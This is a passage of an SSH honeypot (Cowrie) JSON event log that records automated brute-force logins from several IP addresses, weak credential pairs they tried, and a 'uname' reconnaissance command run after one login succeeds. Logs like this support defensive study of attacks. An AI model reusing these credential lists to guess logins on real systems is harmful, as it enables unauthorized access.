6","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:59.259350Z","src_ip":"103.172.78.219","session":"f52531eff925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:59.372770Z","src_ip":"165.154.137.186","session":"b13869fd2083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210378","message":"login attempt [root/210378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:00.053567Z","src_ip":"103.172.78.219","session":"f52531eff925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45614,"dst_ip":"10.17.0.5","dst_port":22,"session":"a68f9e188069","protocol":"ssh","message":"New connection: 165.154.137.186:45614 (10.17.0.5:22) [session: a68f9e188069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:00.645654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:00.649486Z","src_ip":"165.154.137.186","session":"a68f9e188069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:00.918226Z","src_ip":"165.154.137.186","session":"a68f9e188069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:01.320843Z","src_ip":"103.172.78.219","session":"f52531eff925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:01.726787Z","src_ip":"165.154.137.186","session":"a68f9e188069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:02.997423Z","src_ip":"165.154.137.186","session":"a68f9e188069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37030,"dst_ip":"10.17.0.5","dst_port":22,"session":"41c1bf1df21f","protocol":"ssh","message":"New connection: 165.154.137.186:37030 (10.17.0.5:22) [session: 41c1bf1df21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:04.561818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:04.566225Z","src_ip":"165.154.137.186","session":"41c1bf1df21f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:04.829226Z","src_ip":"165.154.137.186","session":"41c1bf1df21f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:05.617097Z","src_ip":"165.154.137.186","session":"41c1bf1df21f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:06.184364Z","src_ip":"165.154.137.186","session":"41c1bf1df21f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:06.187917Z","src_ip":"165.154.137.186","session":"41c1bf1df21f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:06.454092Z","src_ip":"165.154.137.186","session":"41c1bf1df21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:06.457894Z","src_ip":"165.154.137.186","session":"41c1bf1df21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37346,"dst_ip":"10.17.0.5","dst_port":22,"session":"36af0c46fe69","protocol":"ssh","message":"New connection: 8.210.75.243:37346 (10.17.0.5:22) [session: 36af0c46fe69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:06.952038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:07.235729Z","src_ip":"8.210.75.243","session":"36af0c46fe69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00092101097107,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:07.615180Z","src_ip":"170.64.224.25","session":"dd5b9d819061","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45656,"dst_ip":"10.17.0.5","dst_port":22,"session":"18ab8fb02d43","protocol":"ssh","message":"New connection: 165.154.137.186:45656 (10.17.0.5:22) [session: 18ab8fb02d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:08.416279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:08.420468Z","src_ip":"165.154.137.186","session":"18ab8fb02d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53728,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e237e768b7","protocol":"ssh","message":"New connection: 165.154.137.186:53728 (10.17.0.5:22) [session: c8e237e768b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:08.650657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:08.661555Z","src_ip":"165.154.137.186","session":"c8e237e768b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:08.680039Z","src_ip":"165.154.137.186","session":"18ab8fb02d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:08.916633Z","src_ip":"165.154.137.186","session":"c8e237e768b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:09.453539Z","src_ip":"165.154.137.186","session":"18ab8fb02d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:09.938872Z","src_ip":"165.154.137.186","session":"c8e237e768b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":52570,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9111884500d","protocol":"ssh","message":"New connection: 67.231.24.5:52570 (159.203.135.109:22) [session: e9111884500d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.414217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.418116Z","src_ip":"67.231.24.5","session":"e9111884500d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.434512Z","src_ip":"67.231.24.5","session":"e9111884500d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coinomi123","message":"login attempt [root/coinomi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.487157Z","src_ip":"67.231.24.5","session":"e9111884500d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":48038,"dst_ip":"159.203.135.109","dst_port":22,"session":"e717657dcc2b","protocol":"ssh","message":"New connection: 159.65.58.200:48038 (159.203.135.109:22) [session: e717657dcc2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.591650Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.713400Z","src_ip":"165.154.137.186","session":"18ab8fb02d43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.802697Z","src_ip":"159.65.58.200","session":"e717657dcc2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:10.806272Z","src_ip":"159.65.58.200","session":"e717657dcc2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:11.199663Z","src_ip":"165.154.137.186","session":"c8e237e768b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:11.505531Z","src_ip":"67.231.24.5","session":"e9111884500d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"strizh","password":"123456","message":"login attempt [strizh/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:11.942659Z","src_ip":"159.65.58.200","session":"e717657dcc2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":49772,"dst_ip":"10.17.0.5","dst_port":22,"session":"787030076fff","protocol":"ssh","message":"New connection: 2.57.122.209:49772 (10.17.0.5:22) [session: 787030076fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:11.984843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:12.424226Z","src_ip":"2.57.122.209","session":"787030076fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:12.427229Z","src_ip":"2.57.122.209","session":"787030076fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:13.308245Z","src_ip":"159.65.58.200","session":"e717657dcc2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1","message":"login attempt [root/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:14.938859Z","src_ip":"2.57.122.209","session":"787030076fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:16.681391Z","src_ip":"2.57.122.209","session":"787030076fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:18.711506Z","src_ip":"8.210.75.243","session":"5f0623d1f139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53370,"dst_ip":"10.17.0.5","dst_port":22,"session":"a539317d0f0d","protocol":"ssh","message":"New connection: 165.154.137.186:53370 (10.17.0.5:22) [session: a539317d0f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.190591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.247130Z","src_ip":"165.154.137.186","session":"a539317d0f0d","protocol":"ssh"}
